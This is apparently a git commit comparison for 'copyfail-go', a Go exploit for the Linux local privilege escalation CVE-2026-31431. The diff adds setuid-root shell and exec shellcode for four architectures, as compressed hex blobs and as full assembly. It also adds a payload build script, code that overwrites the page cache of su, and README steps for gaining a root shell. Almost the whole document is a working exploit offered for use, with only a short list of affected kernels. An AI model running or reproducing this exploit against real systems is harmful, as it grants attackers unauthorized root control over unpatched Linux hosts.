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1.0.0 ... main

Author SHA1 Message Date
kernel-sanders
9f4e4936ec feat: add support for armv7
- Updated .goreleaser.yaml to include armv7 builds.
- Added new shellcode payloads for armv7l
- Enhanced build-n-print.sh to support building payloads for armv7l architecture.
- Updated README.md with instructions for compiling payloads on Debian systems.
2026-04-30 23:23:45 -04:00
kernel-sanders
131f7d1842 feat: allow binary exec and improve documentation
- Added new shellcode payloads for exec-argv1 and exec-bin-sh for amd64, i386, and aarch64 architectures.
- Introduced a backup feature for the su binary before overwriting it.
- Enhanced README.md with usage instructions and details about affected kernels.
- Added build-n-print.sh script for building and printing payloads in hex format.
2026-04-30 01:33:04 -04:00
Erik
e52acbb172
Merge pull request #1 from mosajjal/aarch64-support
Add aarch64 payload and resolve su via PATH
2026-04-29 23:11:02 -04:00
Ali
58fc30304d
feat: add aarch64 payload and resolve su via PATH
- Adds an aarch64 ELF shellcode payload alongside the existing amd64 one,
  selected at runtime via runtime.GOARCH. The arm64 ELF is a hand-built
  172-byte binary performing the same setuid(0) / execve("/bin/sh") /
  exit(0) sequence (syscalls 146, 221, 93). Disassembly for both payloads
  is documented inline.
- Replaces the hardcoded /usr/bin/su path with resolveSu(): tries
  /usr/bin/su first, then falls back to exec.LookPath("su") so the PoC
  works on systems where su lives elsewhere (e.g. /bin/su on Debian
  derivatives, or anywhere a non-standard PATH points).
2026-04-30 14:04:08 +12:00
14 changed files with 709 additions and 28 deletions

3
.gitignore vendored
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@ -1,2 +1,3 @@
copyfail copyfail
.ansible .ansible
dist

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@ -4,15 +4,21 @@ before:
hooks: hooks:
- go mod tidy - go mod tidy
builds: builds:
- env: - env:
- CGO_ENABLED=0 - CGO_ENABLED=0
goos: goos:
- linux - linux
goarch:
- amd64
- "386"
- arm64
- arm
goarm:
- "7"
archives: archives:
- format: tar.gz - formats: binary
# this name template makes the OS and Arch compatible with the results of `uname`. # this name template makes the OS and Arch compatible with the results of `uname`.
name_template: >- name_template: >-
{{ .ProjectName }}_ {{ .ProjectName }}_

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@ -1,7 +1,61 @@
# CopyFail Go # CopyFail Go
> Most Linux LPEs need a race window or a kernel-specific offset.Copy Fail is a straight-line logic flaw — it needs neither.The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. > Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017.
A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency. A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency.
See [copy.fail](https://copy.fail) for more info. See [copy.fail](https://copy.fail) for more info.
## Interactive shell
```shell
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
```
## Run binary as root
Useful to elevate a program to root
```shell
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
```
## Don't trust those hex blobs?
Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested).
You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory.
## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
```
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
```
In between: every major distro kernel that didn't backport the fix.
Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable
in their stock cloud-image kernels at disclosure time. Distro-level
backports started rolling out around 2026-04-29 alongside the public
disclosure. To verify whether a target kernel is in-window, check whether
`a664bf3d603d` (or its distro-specific backport) is present in the kernel's
git log or the distro's changelog.

148
main.go
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@ -7,12 +7,15 @@ import (
"bytes" "bytes"
"compress/zlib" "compress/zlib"
"encoding/hex" "encoding/hex"
"flag"
"fmt" "fmt"
"io" "io"
"log" "log"
"os" "os"
"os/exec" "os/exec"
"runtime"
"strings" "strings"
"time"
"unsafe" "unsafe"
"golang.org/x/sys/unix" "golang.org/x/sys/unix"
@ -28,6 +31,22 @@ const (
ALG_SET_AEAD_AUTHSIZE = 5 ALG_SET_AEAD_AUTHSIZE = 5
) )
// See payloads/exec-bin-sh-* for the shellcode
var payloadsZlibHex = map[string]string{
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742",
}
// See payloads/exec-argv1-* for the shellcode
var execArgv1ZlibHex = map[string]string{
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1",
}
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload // packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
func packCmsg(level, typ int, data []byte) []byte { func packCmsg(level, typ int, data []byte) []byte {
cmsgSpace := unix.CmsgSpace(len(data)) cmsgSpace := unix.CmsgSpace(len(data))
@ -135,39 +154,118 @@ func decompressPayload(zlibBytes []byte) []byte {
return payload return payload
} }
func printHelp() { // resolveSu returns the path to the su binary. It prefers /usr/bin/su when
prog := os.Args[0] // present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)).
fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog) func resolveSu() (string, error) {
fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n") const fallback = "/usr/bin/su"
fmt.Fprintf(os.Stderr, "Overwrites page cache of /usr/bin/su and runs su.\n") if _, err := os.Stat(fallback); err == nil {
fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n") return fallback, nil
}
p, err := exec.LookPath("su")
if err != nil {
return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err)
}
return p, nil
}
// backupSuBinary copies src to dst before page-cache corruption. Preserves
// permission bits including setuid/setgid/sticky and access/modification times.
func backupSuBinary(src, dst string) error {
var meta unix.Stat_t
if err := unix.Stat(src, &meta); err != nil {
return fmt.Errorf("stat %s: %w", src, err)
}
// Cast these to int64 so we can compile for 32 bit architectures
atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec))
mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec))
in, err := os.Open(src)
if err != nil {
return fmt.Errorf("open %s: %w", src, err)
}
defer in.Close()
fi, err := in.Stat()
if err != nil {
return fmt.Errorf("fstat %s: %w", src, err)
}
const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("create %s: %w", dst, err)
}
defer out.Close()
if _, err := io.Copy(out, in); err != nil {
return fmt.Errorf("copy to %s: %w", dst, err)
}
if err := out.Sync(); err != nil {
return fmt.Errorf("sync %s: %w", dst, err)
}
if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil {
return fmt.Errorf("chmod %s: %w", dst, err)
}
if err := os.Chtimes(dst, atime, mtime); err != nil {
return fmt.Errorf("chtimes %s: %w", dst, err)
}
return nil
} }
func main() { func main() {
for _, arg := range os.Args[1:] { var suArgv1 string
switch arg { var useExecArgv1 bool
case "-h", "--help", "-help": var backupPath string
printHelp() flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting")
os.Exit(0) flag.Func("exec", "command to run as root; full path required", func(s string) error {
useExecArgv1 = true
suArgv1 = s
return nil
})
flag.Usage = func() {
fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
flag.PrintDefaults()
fmt.Fprintln(os.Stderr)
fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).")
fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.")
fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.")
}
flag.Parse()
var payloadHex string
var ok bool
if useExecArgv1 {
payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH]
if !ok {
log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH)
}
} else {
// Pick payload for the running architecture
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
if !ok {
log.Fatalf("Unsupported architecture: %s", runtime.GOARCH)
} }
} }
var payload []byte
// Original payload from https://github.com/theori-io/copy-fail-CVE-2026-31431
// A 160 byte linux ELF binary that:
// 1. Invokes the setuid(0) system call to set the user ID to root.
// 2. Invokes the execve system call to execute /bin/sh.
// 3. Exits cleanly if the execution fails.
payloadHex := "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
payloadZlib, err := hex.DecodeString(payloadHex) payloadZlib, err := hex.DecodeString(payloadHex)
if err != nil { if err != nil {
log.Fatalf("Invalid hex payload: %v", err) log.Fatalf("Invalid hex payload: %v", err)
} }
payload = decompressPayload(payloadZlib) payload := decompressPayload(payloadZlib)
suPath, err := resolveSu()
if err != nil {
log.Fatalf("%v", err)
}
if backupPath != "" {
if err := backupSuBinary(suPath, backupPath); err != nil {
log.Fatalf("Backup failed: %v", err)
}
log.Printf("Backed up %s to %s", suPath, backupPath)
}
// Open target file in read-only mode // Open target file in read-only mode
f, err := os.Open("/usr/bin/su") f, err := os.Open(suPath)
if err != nil { if err != nil {
log.Fatalf("Failed to open target file: %v", err) log.Fatalf("Failed to open target file: %v", err)
} }
@ -196,7 +294,11 @@ func main() {
// Execute the now-overwritten binary to trigger privilege escalation // Execute the now-overwritten binary to trigger privilege escalation
log.Println("Executing payload") log.Println("Executing payload")
var cmd *exec.Cmd var cmd *exec.Cmd
cmd = exec.Command("su") if useExecArgv1 {
cmd = exec.Command("su", suArgv1)
} else {
cmd = exec.Command("su")
}
cmd.Stdin = os.Stdin cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr cmd.Stderr = os.Stderr

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payloads/README.md Normal file
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@ -0,0 +1,19 @@
These are the assembly and binary payloads embedded in copyfail-go
## Scripted
Just run `build-n-print.sh`
## Manual
To build the asm run
```shell
nasm -f bin {{ payload }}.asm -o {{ payload }}
```
To format the binary into the hex for copyfail-go, run
```shell
cat {{ payload }} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
```

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payloads/build-n-print.sh Normal file
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@ -0,0 +1,53 @@
#!/bin/bash
# Check for nasm
if ! command -v nasm &> /dev/null; then
echo "[!] nasm could not be found. Please install it."
exit 1
fi
# Check for python3
if ! command -v python3 &> /dev/null; then
echo "[!] python3 could not be found. Please install it."
exit 1
fi
for payload in *.asm; do
echo "[+] Building $payload"
nasm -f bin $payload -o ${payload%.asm}
echo "[+] Printing $payload as hex"
cat ${payload%.asm} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
done
# Check for aarch64-linux-gnu-as
if ! command -v aarch64-linux-gnu-as &> /dev/null; then
echo "[!] aarch64-linux-gnu-as could not be found. Please install binutils-aarch64-linux-gnu"
exit 1
fi
for payload in *aarch64.S; do
# Assemble the source into an object file
echo "[+] Building $payload"
aarch64-linux-gnu-as $payload -o ${payload%.S}.o
# Extract ONLY the raw bytes into a flat binary file
echo "[+] Extracting $payload as binary"
aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S}
echo "[+] Printing $payload as hex"
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
done
if ! command -v arm-linux-gnueabihf-as &> /dev/null; then
echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf"
exit 1
fi
for payload in *armv7l.S; do
# Assemble the source into an object file
echo "[+] Building $payload"
arm-linux-gnueabihf-as $payload -o ${payload%.S}.o
# Extract ONLY the raw bytes into a flat binary file
echo "[+] Extracting $payload as binary"
arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S}
echo "[+] Printing $payload as hex"
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
done

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@ -0,0 +1,53 @@
.section .text
.globl _start
// --- 64-bit ELF Header ---
ehdr:
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
.byte 2, 1, 1, 0 // 64-bit, little-endian, version 1
.byte 0, 0, 0, 0, 0, 0, 0, 0
.short 2 // e_type: Executable
.short 183 // e_machine: AArch64 (0xB7)
.int 1 // e_version
.quad 0x400078 // e_entry (0x400000 + 0x78)
.quad 0x40 // e_phoff (Program Header offset)
.quad 0 // e_shoff
.int 0 // e_flags
.short 64 // e_ehsize
.short 56 // e_phentsize
.short 1 // e_phnum
.short 0 // e_shentsize
.short 0 // e_shnum
.short 0 // e_shstrndx
// --- Program Header (PT_LOAD) ---
phdr:
.int 1 // p_type: PT_LOAD
.int 5 // p_flags: PF_R | PF_X
.quad 0 // p_offset
.quad 0x400000 // p_vaddr
.quad 0x400000 // p_paddr
.quad file_end - ehdr // p_filesz
.quad file_end - ehdr // p_memsz
.quad 0x10000 // p_align
// --- Payload ---
_start:
// setuid(0)
mov x0, #0
mov x8, #146 // SYS_setuid
svc #0
// execve(argv[1], NULL, NULL)
ldr x0, [sp, #16] // x0 = argv[1]
mov x1, #0 // x1 = NULL
mov x2, #0 // x2 = NULL
mov x8, #221 // SYS_execve
svc #0
// exit(0)
mov x0, #0
mov x8, #93 // SYS_exit
svc #0
file_end:

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@ -0,0 +1,54 @@
BITS 64
org 0x400000
; --- 64-bit ELF Header ---
ehdr:
db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
dw 2 ; e_type: Executable
dw 0x3e ; e_machine: x86-64
dd 1 ; e_version
dq _start ; e_entry
dq phdr - ehdr ; e_phoff (offset to program header)
dq 0 ; e_shoff
dd 0 ; e_flags
dw 64 ; e_ehsize (ELF header size)
dw 56 ; e_phentsize (Program header size)
dw 1 ; e_phnum (Number of program headers)
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
; --- Program Header (PT_LOAD) ---
phdr:
dd 1 ; p_type: PT_LOAD
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
dq 0 ; p_offset
dq 0x400000 ; p_vaddr
dq 0x400000 ; p_paddr
dq file_end - ehdr ; p_filesz
dq file_end - ehdr ; p_memsz
dq 0x1000 ; p_align
; --- Payload ---
_start:
; setuid(0)
xor eax, eax
xor edi, edi
mov al, 0x69
syscall
; execve(argv[1], NULL, NULL)
mov rdi,[rsp+0x10]
xor esi, esi
push 0x3b
pop rax
cdq
syscall
; exit(0)
xor edi, edi
push 0x3c
pop rax
syscall
file_end:

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@ -0,0 +1,53 @@
.section .text
.globl _start
// --- 32-bit ELF Header (52 bytes) ---
ehdr:
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
.byte 0, 0, 0, 0, 0, 0, 0, 0
.short 2 // e_type: Executable
.short 40 // e_machine: ARM (0x28)
.int 1 // e_version
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
.int 0x34 // e_phoff (Program Header offset = 52)
.int 0 // e_shoff
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
.short 52 // e_ehsize
.short 32 // e_phentsize
.short 1 // e_phnum
.short 0 // e_shentsize
.short 0 // e_shnum
.short 0 // e_shstrndx
// --- Program Header (PT_LOAD, 32 bytes) ---
phdr:
.int 1 // p_type: PT_LOAD
.int 0 // p_offset
.int 0x400000 // p_vaddr
.int 0x400000 // p_paddr
.int file_end - ehdr // p_filesz
.int file_end - ehdr // p_memsz
.int 5 // p_flags: PF_R | PF_X
.int 0x10000 // p_align
// --- Payload ---
_start:
// setuid(0)
mov r0, #0
mov r7, #23 // SYS_setuid
svc #0
// execve(argv[1], NULL, NULL)
ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each)
mov r1, #0 // r1 = NULL
mov r2, #0 // r2 = NULL
mov r7, #11 // SYS_execve
svc #0
// exit(0)
mov r0, #0
mov r7, #1 // SYS_exit
svc #0
file_end:

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@ -0,0 +1,59 @@
BITS 32
org 0x08048000
; --- 32-bit ELF Header ---
ehdr:
db 0x7F, "ELF" ; e_ident
db 1 ; EI_CLASS (1 = 32-bit)
db 1 ; EI_DATA (1 = little endian)
db 1 ; EI_VERSION
db 0 ; EI_OSABI
db 0, 0, 0, 0, 0, 0, 0, 0
dw 2 ; e_type: Executable
dw 3 ; e_machine: EM_386 (x86)
dd 1 ; e_version
dd _start ; e_entry
dd phdr - ehdr ; e_phoff (offset to program header)
dd 0 ; e_shoff
dd 0 ; e_flags
dw 52 ; e_ehsize (32-bit ELF header size)
dw 32 ; e_phentsize (32-bit Program header size)
dw 1 ; e_phnum (Number of program headers)
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
; --- Program Header (PT_LOAD) ---
phdr:
dd 1 ; p_type: PT_LOAD
dd 0 ; p_offset
dd 0x08048000 ; p_vaddr
dd 0x08048000 ; p_paddr
dd file_end - ehdr ; p_filesz
dd file_end - ehdr ; p_memsz
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
dd 0x1000 ; p_align
; --- Payload ---
_start:
; setuid32(0)
xor eax, eax
xor ebx, ebx ; ebx = 0 (UID)
mov al, 213 ; sys_setuid32 (213)
int 0x80
; execve(argv[1], NULL, NULL)
mov ebx, [esp+8] ; ebx = argv[1] (pointers are 4 bytes, so[esp+8])
xor ecx, ecx ; ecx = NULL
push 11 ; sys_execve (11)
pop eax
cdq ; edx = 0 (sign-extends eax into edx)
int 0x80
; exit(0)
xor ebx, ebx ; Exit code 0
push 1 ; sys_exit (1)
pop eax
int 0x80
file_end:

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@ -0,0 +1,54 @@
.section .text
.globl _start
// --- 64-bit ELF Header (64 bytes) ---
ehdr:
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
.byte 2, 1, 1, 0 // 64-bit, little-endian, version 1
.byte 0, 0, 0, 0, 0, 0, 0, 0
.short 2 // e_type: Executable
.short 183 // e_machine: AArch64 (0xB7)
.int 1 // e_version
.quad 0x400078 // e_entry (0x400000 + 0x78)
.quad 0x40 // e_phoff (Program Header offset)
.quad 0 // e_shoff
.int 0 // e_flags
.short 64 // e_ehsize
.short 56 // e_phentsize
.short 1 // e_phnum
.short 0 // e_shentsize
.short 0 // e_shnum
.short 0 // e_shstrndx
// --- Program Header (PT_LOAD, 56 bytes) ---
phdr:
.int 1 // p_type: PT_LOAD
.int 5 // p_flags: PF_R | PF_X
.quad 0 // p_offset
.quad 0x400000 // p_vaddr
.quad 0x400000 // p_paddr
.quad file_end - ehdr // p_filesz
.quad file_end - ehdr // p_memsz
.quad 0x10000 // p_align
// --- Payload (52 bytes) ---
_start:
mov x0, #0
mov x8, #146 // SYS_setuid
svc #0
adr x0, sh // PC-relative load of the "sh" label
mov x1, #0
mov x2, #0
mov x8, #221 // SYS_execve
svc #0
mov x0, #0
mov x8, #93 // SYS_exit
svc #0
sh:
.asciz "/bin/sh" // 8 bytes (includes null terminator)
file_end:

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BITS 64
org 0x400000
; --- 64-bit ELF Header ---
ehdr:
db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
dw 2 ; e_type: Executable
dw 0x3e ; e_machine: x86-64
dd 1 ; e_version
dq _start ; e_entry
dq phdr - ehdr ; e_phoff (offset to program header)
dq 0 ; e_shoff
dd 0 ; e_flags
dw 64 ; e_ehsize (ELF header size)
dw 56 ; e_phentsize (Program header size)
dw 1 ; e_phnum (Number of program headers)
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
; --- Program Header (PT_LOAD) ---
phdr:
dd 1 ; p_type: PT_LOAD
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
dq 0 ; p_offset
dq 0x400000 ; p_vaddr
dq 0x400000 ; p_paddr
dq file_end - ehdr ; p_filesz
dq file_end - ehdr ; p_memsz
dq 0x1000 ; p_align
; --- Payload ---
_start:
; setuid(0)
xor eax, eax
xor edi, edi
mov al, 0x69
syscall
; execve("/bin/sh", NULL, NULL)
lea rdi, [rel sh] ; 48 8d 3d 0f 00 00 00 rdi -> "/bin/sh"
xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
push 0x3b ; 6a 3b push SYS_execve
pop rax ; 58 rax = 59
cdq ; 99 rdx = 0 (envp = NULL)
syscall ; 0f 05 execve("/bin/sh", 0, 0)
; exit(0)
xor edi, edi
push 0x3c
pop rax
syscall
sh: db "/bin/sh", 0
file_end:

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.section .text
.globl _start
// --- 32-bit ELF Header (52 bytes) ---
ehdr:
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
.byte 0, 0, 0, 0, 0, 0, 0, 0
.short 2 // e_type: Executable
.short 40 // e_machine: ARM (0x28)
.int 1 // e_version
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
.int 0x34 // e_phoff (Program Header offset = 52)
.int 0 // e_shoff
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
.short 52 // e_ehsize
.short 32 // e_phentsize
.short 1 // e_phnum
.short 0 // e_shentsize
.short 0 // e_shnum
.short 0 // e_shstrndx
// --- Program Header (PT_LOAD, 32 bytes) ---
phdr:
.int 1 // p_type: PT_LOAD
.int 0 // p_offset
.int 0x400000 // p_vaddr
.int 0x400000 // p_paddr
.int file_end - ehdr // p_filesz
.int file_end - ehdr // p_memsz
.int 5 // p_flags: PF_R | PF_X
.int 0x10000 // p_align
// --- Payload ---
_start:
mov r0, #0
mov r7, #23 // SYS_setuid
svc #0
adr r0, sh // PC-relative load of the "sh" label
mov r1, #0
mov r2, #0
mov r7, #11 // SYS_execve
svc #0
mov r0, #0
mov r7, #1 // SYS_exit
svc #0
sh:
.asciz "/bin/sh" // 8 bytes (includes null terminator)
file_end:

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BITS 32
org 0x08048000
; --- 32-bit ELF Header ---
ehdr:
db 0x7F, "ELF" ; e_ident
db 1 ; EI_CLASS (1 = 32-bit)
db 1 ; EI_DATA (1 = little endian)
db 1 ; EI_VERSION
db 0 ; EI_OSABI
db 0, 0, 0, 0, 0, 0, 0, 0
dw 2 ; e_type: Executable
dw 3 ; e_machine: EM_386 (x86)
dd 1 ; e_version
dd _start ; e_entry
dd phdr - ehdr ; e_phoff (offset to program header)
dd 0 ; e_shoff
dd 0 ; e_flags
dw 52 ; e_ehsize (32-bit ELF header size)
dw 32 ; e_phentsize (32-bit Program header size)
dw 1 ; e_phnum (Number of program headers)
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
; --- Program Header (PT_LOAD) ---
phdr:
dd 1 ; p_type: PT_LOAD
dd 0 ; p_offset
dd 0x08048000 ; p_vaddr
dd 0x08048000 ; p_paddr
dd file_end - ehdr ; p_filesz
dd file_end - ehdr ; p_memsz
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
dd 0x1000 ; p_align
; --- Payload ---
_start:
; setuid32(0)
xor eax, eax
xor ebx, ebx ; ebx = 0 (UID)
mov al, 213 ; sys_setuid32 (213)
int 0x80
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax ; 31 c0 eax = 0
push eax ; 50 NULL terminator for argv
push 0x68732f2f ; 68 2f 2f 73 68 "//sh"
push 0x6e69622f ; 68 2f 62 69 6e "/bin"
mov ebx, esp ; 89 e3 ebx -> "/bin//sh"
push eax ; 50 envp = NULL
push ebx ; 53 argv[0] = "/bin//sh"
mov ecx, esp ; 89 e1 ecx -> argv
mov edx, eax ; 89 c2 edx = 0 (envp)
mov al, 0xb ; b0 0b eax = 11 (SYS_execve)
int 0x80 ; cd 80 syscall
; exit(0)
xor ebx, ebx ; Exit code 0
push 1 ; sys_exit (1)
pop eax
int 0x80
file_end: